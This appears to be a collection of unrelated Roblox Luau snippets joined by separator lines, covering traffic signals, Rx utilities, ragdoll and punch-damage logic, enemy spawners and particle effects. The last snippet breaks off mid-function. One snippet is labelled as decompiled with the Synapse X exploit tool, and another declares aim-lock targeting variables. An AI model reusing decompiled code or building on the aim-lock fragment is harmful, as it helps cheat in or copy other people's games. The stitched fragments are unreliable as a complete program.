PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(6) -- Green Time + Time for flashing pedestrian signals
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 2
SignalValues.Signal2a.Value = 2
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(4) -- Yellow Time
SignalValues.Signal1.Value = 3
SignalValues.Signal1a.Value = 3
SignalValues.Signal2.Value = 3
SignalValues.Signal2a.Value = 3
PedValues.PedSignal1.Value = 3
PedValues.PedSignal1a.Value = 3
PedValues.PedSignal2.Value = 3
PedValues.PedSignal2a.Value = 3
TurnValues.TurnSignal1.Value = 3
TurnValues.TurnSignal1a.Value = 3
TurnValues.TurnSignal2.Value = 3
TurnValues.TurnSignal2a.Value = 3
wait(2)-- ALL RED
end
|
--[=[
Observes all descendants that match a predicate
@param parent Instance
@param predicate ((value: Instance) -> boolean)? -- Optional filter
@return Observable<Instance, boolean>
]=]
|
function RxInstanceUtils.observeDescendants(parent, predicate)
assert(typeof(parent) == "Instance", "Bad parent")
assert(type(predicate) == "function" or predicate == nil, "Bad predicate")
return Observable.new(function(sub)
local maid = Maid.new()
local added = {}
local function handleDescendant(child)
if not predicate or predicate(child) then
added[child] = true
sub:Fire(child, true)
end
end
maid:GiveTask(parent.DescendantAdded:Connect(handleDescendant))
maid:GiveTask(parent.DescendantRemoving:Connect(function(child)
if added[child] then
added[child] = nil
sub:Fire(child, false)
end
end))
for _, descendant in pairs(parent:GetDescendants()) do
handleDescendant(descendant)
end
return maid
end)
end
|
--[=[
@tag Component Instance
@param componentClass ComponentClass
@return Component?
Retrieves another component instance bound to the same
Roblox instance.
```lua
local MyComponent = Component.new({Tag = "MyComponent"})
local AnotherComponent = require(somewhere.AnotherComponent)
function MyComponent:Start()
local another = self:GetComponent(AnotherComponent)
end
```
]=]
|
function Component:GetComponent(componentClass)
return componentClass[KEY_INST_TO_COMPONENTS][self.Instance]
end
|
--[[
Allows creation of expectation statements designed for behavior-driven
testing (BDD). See Chai (JS) or RSpec (Ruby) for examples of other BDD
frameworks.
The Expectation class is exposed to tests as a function called `expect`:
expect(5).to.equal(5)
expect(foo()).to.be.ok()
Expectations can be negated using .never:
expect(true).never.to.equal(false)
Expectations throw errors when their conditions are not met.
]]
|
local Expectation = {}
|
-- How many times per second the gun can fire
|
local FireRate = 5 / 30
|
-- Decompiled with the Synapse X Luau decompiler.
|
local l__Gas__1 = game.Players.LocalPlayer:WaitForChild("Data"):WaitForChild("Gas");
local l__TweenService__1 = game:GetService("TweenService");
local l__Parent__2 = script.Parent;
l__Gas__1.Changed:Connect(function()
l__TweenService__1:Create(l__Parent__2, TweenInfo.new(0.3, Enum.EasingStyle.Linear, Enum.EasingDirection.Out, 0, false, 0), {
BackgroundTransparency = l__Gas__1.Value / 1
}):Play();
end);
|
------------------------------------------------------------------
|
local LockGui = nil
local AimGui = nil
local TargetPlayer = nil
local Locked = false
local Targeting = false
|
--[=[
Observes the parent of the instance as long as it exists. This is very common when
initializing parent interfaces or other behaviors using binders.
@param instance Instance
@return Observable<Brio<Instance>>
]=]
|
function RxInstanceUtils.observeParentBrio(instance)
return RxInstanceUtils.observePropertyBrio(instance, "Parent", function(parent)
return parent ~= nil
end)
end
|
--
|
function ragdollkill(character)
local victimshumanoid = character:findFirstChildOfClass("Humanoid")
local checkragd = character:findFirstChild("ragded")
if not checkragd then
local boolvalue = Instance.new("BoolValue", character)
boolvalue.Name = "ragded"
if not character:findFirstChild("UpperTorso") then
character.Archivable = true
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Sound" then
v:remove()
end
for q,w in pairs(v:GetChildren()) do
if w.ClassName == "Sound" then
w:remove()
end
end
end
local ragdoll = character:Clone()
for i,v in pairs(ragdoll:GetDescendants()) do
if v.ClassName == "Motor" or v.ClassName == "Motor6D" then
v:destroy()
end
end
ragdoll:findFirstChildOfClass("Humanoid").BreakJointsOnDeath = false
ragdoll:findFirstChildOfClass("Humanoid").Health = 0
if ragdoll:findFirstChild("Health") then
if ragdoll:findFirstChild("Health").ClassName == "Script" then
ragdoll:findFirstChild("Health").Disabled = true
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" then
v:destroy()
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Accessory" then
local attachment1 = v.Handle:findFirstChildOfClass("Attachment")
if attachment1 then
for q,w in pairs(character:GetChildren()) do
if w.ClassName == "Part" then
local attachment2 = w:findFirstChild(attachment1.Name)
if attachment2 then
local hinge = Instance.new("HingeConstraint", v.Handle)
hinge.Attachment0 = attachment1
hinge.Attachment1 = attachment2
hinge.LimitsEnabled = true
hinge.LowerAngle = 0
hinge.UpperAngle = 0
end
end
end
end
end
end
ragdoll.Parent = workspace
if ragdoll:findFirstChild("Right Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Arm")
glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider.Name = "LimbCollider"
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Left Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Arm")
glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Left Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Leg")
glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Right Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Leg")
glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
end
if ragdoll:findFirstChild("Head") and ragdoll.Torso:findFirstChild("NeckAttachment") then
local HeadAttachment = Instance.new("Attachment", ragdoll["Head"])
HeadAttachment.Position = Vector3.new(0, -0.5, 0)
local connection = Instance.new('HingeConstraint', ragdoll["Head"])
connection.LimitsEnabled = true
connection.Attachment0 = ragdoll.Torso.NeckAttachment
connection.Attachment1 = HeadAttachment
connection.UpperAngle = 60
connection.LowerAngle = -60
elseif ragdoll:findFirstChild("Head") and not ragdoll.Torso:findFirstChild("NeckAttachment") then
local hedweld = Instance.new("Weld", ragdoll.Torso)
hedweld.Part0 = ragdoll.Torso
hedweld.Part1 = ragdoll.Head
hedweld.C0 = CFrame.new(0,1.5,0)
end
game.Debris:AddItem(ragdoll, 30)
local function aaaalol()
wait(0.2)
local function searchforvelocity(wot)
for i,v in pairs(wot:GetChildren()) do
searchforvelocity(v)
if v.ClassName == "BodyPosition" or v.ClassName == "BodyVelocity" then
v:destroy()
end
end
end
searchforvelocity(ragdoll)
wait(0.5)
if ragdoll:findFirstChildOfClass("Humanoid") then
ragdoll:findFirstChildOfClass("Humanoid").PlatformStand = true
end
if ragdoll:findFirstChild("HumanoidRootPart") then
ragdoll:findFirstChild("HumanoidRootPart"):destroy()
end
end
spawn(aaaalol)
elseif character:findFirstChild("UpperTorso") then
character.Archivable = true
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Sound" then
v:remove()
end
for q,w in pairs(v:GetChildren()) do
if w.ClassName == "Sound" then
w:remove()
end
end
end
local ragdoll = character:Clone()
ragdoll:findFirstChildOfClass("Humanoid").BreakJointsOnDeath = false
for i,v in pairs(ragdoll:GetDescendants()) do
if v.ClassName == "Motor" or v.ClassName == "Motor6D" then
v:destroy()
end
end
ragdoll:BreakJoints()
ragdoll:findFirstChildOfClass("Humanoid").Health = 0
if ragdoll:findFirstChild("Health") then
if ragdoll:findFirstChild("Health").ClassName == "Script" then
ragdoll:findFirstChild("Health").Disabled = true
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" or v.ClassName == "MeshPart" then
v:destroy()
end
end
for i,v in pairs(character:GetChildren()) do
if v.ClassName == "Accessory" then
local attachment1 = v.Handle:findFirstChildOfClass("Attachment")
if attachment1 then
for q,w in pairs(character:GetChildren()) do
if w.ClassName == "Part" or w.ClassName == "MeshPart" then
local attachment2 = w:findFirstChild(attachment1.Name)
if attachment2 then
local hinge = Instance.new("HingeConstraint", v.Handle)
hinge.Attachment0 = attachment1
hinge.Attachment1 = attachment2
hinge.LimitsEnabled = true
hinge.LowerAngle = 0
hinge.UpperAngle = 0
end
end
end
end
end
end
ragdoll.Parent = workspace
local Humanoid = ragdoll:findFirstChildOfClass("Humanoid")
Humanoid.PlatformStand = true
local function makeballconnections(limb, attachementone, attachmenttwo, twistlower, twistupper)
local connection = Instance.new('BallSocketConstraint', limb)
connection.LimitsEnabled = true
connection.Attachment0 = attachementone
connection.Attachment1 = attachmenttwo
connection.TwistLimitsEnabled = true
connection.TwistLowerAngle = twistlower
connection.TwistUpperAngle = twistupper
local limbcollider = Instance.new("Part", limb)
limbcollider.Size = Vector3.new(0.1,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider:BreakJoints()
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = limb
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2)
end
local function makehingeconnections(limb, attachementone, attachmenttwo, lower, upper)
local connection = Instance.new('HingeConstraint', limb)
connection.LimitsEnabled = true
connection.Attachment0 = attachementone
connection.Attachment1 = attachmenttwo
connection.LimitsEnabled = true
connection.LowerAngle = lower
connection.UpperAngle = upper
local limbcollider = Instance.new("Part", limb)
limbcollider.Size = Vector3.new(0.1,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider:BreakJoints()
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = limb
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2)
end
local HeadAttachment = Instance.new("Attachment", Humanoid.Parent.Head)
HeadAttachment.Position = Vector3.new(0, -0.5, 0)
if ragdoll.UpperTorso:findFirstChild("NeckAttachment") then
makehingeconnections(Humanoid.Parent.Head, HeadAttachment, ragdoll.UpperTorso.NeckAttachment, -50, 50)
end
makehingeconnections(Humanoid.Parent.LowerTorso, Humanoid.Parent.LowerTorso.WaistRigAttachment, Humanoid.Parent.UpperTorso.WaistRigAttachment, -50, 50)
makeballconnections(Humanoid.Parent.LeftUpperArm, Humanoid.Parent.LeftUpperArm.LeftShoulderRigAttachment, Humanoid.Parent.UpperTorso.LeftShoulderRigAttachment, -200, 200, 180)
makehingeconnections(Humanoid.Parent.LeftLowerArm, Humanoid.Parent.LeftLowerArm.LeftElbowRigAttachment, Humanoid.Parent.LeftUpperArm.LeftElbowRigAttachment, 0, -60)
makehingeconnections(Humanoid.Parent.LeftHand, Humanoid.Parent.LeftHand.LeftWristRigAttachment, Humanoid.Parent.LeftLowerArm.LeftWristRigAttachment, -20, 20)
--
makeballconnections(Humanoid.Parent.RightUpperArm, Humanoid.Parent.RightUpperArm.RightShoulderRigAttachment, Humanoid.Parent.UpperTorso.RightShoulderRigAttachment, -200, 200, 180)
makehingeconnections(Humanoid.Parent.RightLowerArm, Humanoid.Parent.RightLowerArm.RightElbowRigAttachment, Humanoid.Parent.RightUpperArm.RightElbowRigAttachment, 0, -60)
makehingeconnections(Humanoid.Parent.RightHand, Humanoid.Parent.RightHand.RightWristRigAttachment, Humanoid.Parent.RightLowerArm.RightWristRigAttachment, -20, 20)
--
makeballconnections(Humanoid.Parent.RightUpperLeg, Humanoid.Parent.RightUpperLeg.RightHipRigAttachment, Humanoid.Parent.LowerTorso.RightHipRigAttachment, -80, 80, 80)
makehingeconnections(Humanoid.Parent.RightLowerLeg, Humanoid.Parent.RightLowerLeg.RightKneeRigAttachment, Humanoid.Parent.RightUpperLeg.RightKneeRigAttachment, 0, 60)
makehingeconnections(Humanoid.Parent.RightFoot, Humanoid.Parent.RightFoot.RightAnkleRigAttachment, Humanoid.Parent.RightLowerLeg.RightAnkleRigAttachment, -20, 20)
--
makeballconnections(Humanoid.Parent.LeftUpperLeg, Humanoid.Parent.LeftUpperLeg.LeftHipRigAttachment, Humanoid.Parent.LowerTorso.LeftHipRigAttachment, -80, 80, 80)
makehingeconnections(Humanoid.Parent.LeftLowerLeg, Humanoid.Parent.LeftLowerLeg.LeftKneeRigAttachment, Humanoid.Parent.LeftUpperLeg.LeftKneeRigAttachment, 0, 60)
makehingeconnections(Humanoid.Parent.LeftFoot, Humanoid.Parent.LeftFoot.LeftAnkleRigAttachment, Humanoid.Parent.LeftLowerLeg.LeftAnkleRigAttachment, -20, 20)
for i,v in pairs(Humanoid.Parent:GetChildren()) do
if v.ClassName == "Accessory" then
local attachment1 = v.Handle:findFirstChildOfClass("Attachment")
if attachment1 then
for q,w in pairs(Humanoid.Parent:GetChildren()) do
if w.ClassName == "Part" then
local attachment2 = w:findFirstChild(attachment1.Name)
if attachment2 then
local hinge = Instance.new("HingeConstraint", v.Handle)
hinge.Attachment0 = attachment1
hinge.Attachment1 = attachment2
hinge.LimitsEnabled = true
hinge.LowerAngle = 0
hinge.UpperAngle = 0
end
end
end
end
end
end
for i,v in pairs(ragdoll:GetChildren()) do
for q,w in pairs(v:GetChildren()) do
if w.ClassName == "Motor6D"--[[ and w.Name ~= "Neck"--]] and w.Name ~= "ouch_weld" then
w:destroy()
end
end
end
if ragdoll:findFirstChild("HumanoidRootPart") then
ragdoll.HumanoidRootPart:destroy()
end
if ragdoll:findFirstChildOfClass("Humanoid") then
ragdoll:findFirstChildOfClass("Humanoid").PlatformStand = true
end
local function waitfordatmoment()
wait(0.2)
local function searchforvelocity(wot)
for i,v in pairs(wot:GetChildren()) do
searchforvelocity(v)
if v.ClassName == "BodyPosition" or v.ClassName == "BodyVelocity" then
v:destroy()
end
end
end
searchforvelocity(ragdoll)
end
spawn(waitfordatmoment)
game.Debris:AddItem(ragdoll, 30)
end
end
end
function damage(what, action, t, range)
for i,v in pairs(workspace:GetDescendants()) do
if v.ClassName == "Model" then
local head = v:findFirstChild("Head")
local humanoid = v:findFirstChildOfClass("Humanoid")
local torso = v:findFirstChild("Torso")
local ragdolled = v:findFirstChild("ragdolledpunch")
if humanoid and head then
if (head.Position - what.Position).magnitude < range and v ~= character and humanoid.Health > 0 then
if action ~= "stomp" then
if ragdolled then
return
end
end
local ragdolledpunch = Instance.new("BoolValue", v)
ragdolledpunch.Name = "ragdolledpunch"
game.Debris:AddItem(ragdolledpunch, t)
if action == "punch" then
local velocity = Instance.new("BodyVelocity", head)
velocity.MaxForce = Vector3.new(math.huge,0,math.huge)
velocity.Velocity = character.HumanoidRootPart.CFrame.lookVector * math.random(5,15)
punchsound.PlaybackSpeed = 1+(math.random(-5,5)/15)
punchsound:Play()
game.Debris:AddItem(velocity, 0.2)
elseif action == "uppercut" then
local velocity = Instance.new("BodyVelocity", head)
velocity.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
velocity.Velocity = (character.HumanoidRootPart.CFrame.upVector * math.random(5,15)) + (character.HumanoidRootPart.CFrame.lookVector * math.random(5,15))
kicksound.PlaybackSpeed = 1+(math.random(-5,5)/15)
kicksound:Play()
game.Debris:AddItem(velocity, 0.2)
elseif action == "kick" then
local velocity = Instance.new("BodyVelocity", head)
velocity.MaxForce = Vector3.new(math.huge,0,math.huge)
velocity.Velocity = character.HumanoidRootPart.CFrame.lookVector * 20
goresound.PlaybackSpeed = 1+(math.random(-5,5)/15)
goresound:Play()
game.Debris:AddItem(velocity, 0.2)
elseif action == "dropkick" then
local velocity = Instance.new("BodyVelocity", head)
velocity.MaxForce = Vector3.new(math.huge,0,math.huge)
velocity.Velocity = character.HumanoidRootPart.CFrame.lookVector * 30
kicksound.PlaybackSpeed = 1+(math.random(-5,5)/15)
kicksound:Play()
goresound.PlaybackSpeed = 1+(math.random(-5,5)/15)
goresound:Play()
game.Debris:AddItem(velocity, 0.2)
elseif action == "stomp" then
punchsound.PlaybackSpeed = 1+(math.random(-5,5)/15)
punchsound:Play()
end
if action ~= "blocked" then
local dmg = math.random(30,50)
if action == "uppercut" then
dmg = dmg + math.random(20,30)
elseif action == "kick" then
dmg = dmg + math.random(40,50)
elseif action == "dropkick" then
dmg = dmg + math.random(50,90)
end
if humanoid.Health <= dmg then
humanoid.Health = 0
ragdollkill(v)
end
humanoid.Health = humanoid.Health - dmg
end
if action ~= "blocked" and action ~= "uppercut" and action ~= "kick" and action ~= "dropkick" then
if math.random(1,5) ~= 1 then
return
end
end
if action == "stomp" then
return
end
humanoid.PlatformStand = true
coroutine.wrap(function()
wait(t)
humanoid.PlatformStand = false
end)()
if torso then
coroutine.wrap(function()
humanoid = v:WaitForChild("Humanoid")
local ragdoll = v
if ragdoll:findFirstChild("Right Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Arm")
glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Transparency = 1
limbcollider.Name = "LimbCollider"
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Right Shoulder") then
local limbclone = ragdoll.Torso:findFirstChild("Right Shoulder"):Clone()
ragdoll.Torso:findFirstChild("Right Shoulder"):destroy()
coroutine.wrap(function()
wait(t)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Right Arm"]
end)()
end
wait(t)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
if ragdoll:findFirstChild("Left Arm") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Arm")
glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm"))
limbcollider.Size = Vector3.new(1.4,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Left Shoulder") then
local limbclone = ragdoll.Torso:findFirstChild("Left Shoulder"):Clone()
ragdoll.Torso:findFirstChild("Left Shoulder"):destroy()
coroutine.wrap(function()
wait(t)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Left Arm"]
end)()
end
wait(t)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
if ragdoll:findFirstChild("Left Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Left Leg")
glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg"))
limbcollider.Size = Vector3.new(1.5,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Left Hip") then
local limbclone = ragdoll.Torso:findFirstChild("Left Hip"):Clone()
ragdoll.Torso:findFirstChild("Left Hip"):destroy()
coroutine.wrap(function()
wait(t)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Left Leg"]
end)()
end
wait(t)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
if ragdoll:findFirstChild("Right Leg") then
local glue = Instance.new("Glue", ragdoll.Torso)
glue.Part0 = ragdoll.Torso
glue.Part1 = ragdoll:findFirstChild("Right Leg")
glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg"))
limbcollider.Size = Vector3.new(1.5,1,1)
limbcollider.Shape = "Cylinder"
limbcollider.Name = "LimbCollider"
limbcollider.Transparency = 1
local limbcolliderweld = Instance.new("Weld", limbcollider)
limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg")
limbcolliderweld.Part1 = limbcollider
limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.2,0,0)
coroutine.wrap(function()
if ragdoll.Torso:findFirstChild("Right Hip") then
local limbclone = ragdoll.Torso:findFirstChild("Right Hip"):Clone()
ragdoll.Torso:findFirstChild("Right Hip"):destroy()
coroutine.wrap(function()
wait(t)
limbclone.Parent = ragdoll.Torso
limbclone.Part0 = ragdoll.Torso
limbclone.Part1 = ragdoll["Right Leg"]
end)()
end
wait(t)
glue:destroy()
limbcollider:destroy()
limbcolliderweld:destroy()
end)()
end
end)()
end
end
end
end
end
end
|
-- Determines which spawners will actively spawn enemies based off the waypoint (attachments in Workspace.TrackParts), the cart is currently at
|
local EnemySpawning = {}
local waypoints = {}
waypoints[1] = { "Spawner1", "Spawner2", "Spawner6", "Spawner7" }
waypoints[2] = { "Spawner2", "Spawner3", "Spawner4", "Spawner5" }
waypoints[3] = { "Spawner2", "Spawner5", "Spawner6", "Spawner7" }
waypoints[4] = { "Spawner2", "Spawner3", "Spawner5", "Spawner6", "Spawner7" }
waypoints[5] = {}
waypoints[6] = { "Spawner8", "Spawner9", "Spawner12", "Spawner17" }
waypoints[7] = { "Spawner10", "Spawner11", "Spawner12", "Spawner17" }
waypoints[8] = { "Spawner10", "Spawner11", "Spawner13", "Spawner14" }
waypoints[9] = { "Spawner8", "Spawner10", "Spawner12", "Spawner14" }
waypoints[10] = { "Spawner8", "Spawner9", "Spawner11", "Spawner14" }
waypoints[11] = { "Spawner15", "Spawner16", "Spawner18", "Spawner13"}
waypoints[12] = { "Spawner15", "Spawner16", "Spawner19", "Spawner20" }
EnemySpawning.waypoints = waypoints
return EnemySpawning
|
-- place this script under the gui object you want to rotate and use the rotation and speed value to change the rotation (degrees) and speed (seconds for full loop)
|
local RunService = game:GetService("RunService")
function slerp(a,b,x)
return a*(((1+(math.cos(x*math.pi)))/2)) + b*(((1-(math.cos(x*math.pi)))/2))
end
local object = script.Parent
local count = 0.0
local rotation = object.Rotation
RunService.Heartbeat:Connect(function(step)
count += step / script.speed.Value * 2
if step <= 1 then
object.Rotation = slerp(-script.rotation.Value,script.rotation.Value,count)+rotation
else if step <= 2 then
object.Rotation = slerp(script.rotation.Value,-script.rotation.Value,count)+rotation
else
count = 0
end
end
end)
|
--- Takes an array of arguments and a max value.
-- Any indicies past the max value will be appended to the last valid argument.
|
function Util.MashExcessArguments(arguments, max)
local t = {}
for i = 1, #arguments do
if i > max then
t[max] = ("%s %s"):format(t[max] or "", arguments[i])
else
t[i] = arguments[i]
end
end
return t
end
|
-- Replica signals:
|
rev_ReplicaSignal.OnClientEvent:Connect(function(replica_id, ...) -- (replica_id, params...)
local replica = Replicas[replica_id]
-- Signaling listeners:
local listeners = replica._signal_listeners
for _, listener in ipairs(listeners) do
listener(...)
end
end)
|
-- CACHE --
|
local cacheFolder
if debrisFolder:FindFirstChild("Mochi") then
cacheFolder = debrisFolder.Mochi
else
cacheFolder = Instance.new("Folder")
cacheFolder.Name = "Mochi"
cacheFolder.Parent = debrisFolder
end
local partCache = partCacheMod.new(RS.FX.Mochi.MochiBall, 300, cacheFolder)
local function mochiExplosion(OriginPosition, OriginInstance)
local amount = math.random(1, 2)
local hitSFX = {
RS.Sounds.Mochi.MochiFistHit1,
RS.Sounds.Mochi.MochiFistHit2,
}
for sounds, sfx in pairs(hitSFX) do
local clonedSFX = sfx:Clone()
clonedSFX.Parent = OriginInstance
clonedSFX:Play()
game.Debris:AddItem(clonedSFX, 2)
end
for i = 1, amount do
local mochiSize = Random.new():NextNumber(1, 3)
local mochiPart = partCache:GetPart() --RS.FX.MochiDrip:Clone()
mochiPart.Size = Vector3.new(mochiSize, mochiSize, mochiSize)
mochiPart.CFrame = CFrame.new(OriginPosition)
local rayCheck = CFrame.new(OriginPosition) * CFrame.new(Random.new():NextNumber(-30, 30), 15, Random.new():NextNumber(-30, 30))
local roofCheckRay = Ray.new(rayCheck.Position, Vector3.new(0, 50, 0))
local Rhit, Rvec2Pos, RsurfaceNormal = workspace:FindPartOnRayWithIgnoreList(roofCheckRay, {mochiPart, debrisFolder})
local ray
local maxHeight
if Rhit then
maxHeight = (OriginPosition.Y - Rhit.Position.Y)
ray = Ray.new(Vector3.new(rayCheck.Position.X, maxHeight - 1, rayCheck.Position.Z), Vector3.new(0, -1000, 0))
else
maxHeight = 50
ray = Ray.new(rayCheck.Position, Vector3.new(0, -1000, 0))
end
local hit, vec2Pos, surfaceNormal = workspace:FindPartOnRayWithIgnoreList(ray, {mochiPart, debrisFolder})
if hit then
local endCF = CFrame.new(vec2Pos, vec2Pos + surfaceNormal) * CFrame.Angles(-math.pi/2, 0, 0)
local p0 = mochiPart.Position
local p2 = endCF.Position
local p1 = CFrame.new((p0 + p2) / 2) * CFrame.new(0, Random.new():NextNumber(maxHeight * 0.25, maxHeight), 0).Position
